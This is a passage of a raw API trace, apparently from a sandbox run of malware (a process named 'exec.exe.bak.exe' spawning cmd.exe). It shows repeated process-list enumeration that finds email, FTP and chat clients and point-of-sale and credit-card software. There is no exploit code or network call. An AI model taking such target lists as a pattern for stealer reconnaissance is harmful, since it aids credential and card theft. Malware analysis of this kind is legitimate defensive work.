cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0103.044] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0103.046] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0103.048] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0103.049] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0103.051] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0103.052] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0103.053] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0103.054] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0103.056] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0103.057] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0103.058] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0103.060] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0103.061] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0103.063] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0103.065] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0103.066] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0103.067] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0103.069] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0103.070] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0103.072] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0103.167] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0103.169] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0103.170] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0103.171] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0103.172] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0103.173] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0103.174] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0103.175] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0103.176] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0103.177] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0103.178] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0103.179] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0103.180] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0103.180] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0103.181] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0103.182] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.183] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0103.184] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.186] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0103.186] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.187] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0103.188] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0103.189] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0103.192] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.193] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.194] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.195] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0103.196] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0103.197] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0103.197] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0103.198] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.199] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0103.303] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0103.304] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0103.304] CloseHandle (hObject=0x330) returned 1 [0103.304] Sleep (dwMilliseconds=0x1f4) [0104.840] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0104.865] Process32FirstW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.867] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0104.867] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0104.868] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.869] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0104.870] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0104.870] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0104.871] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0104.872] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0104.873] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.874] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.874] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0104.875] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.876] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0104.876] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.877] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.878] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.878] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.879] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.092] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.093] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.094] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.095] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.096] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.097] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.098] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.099] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.100] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0105.100] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, 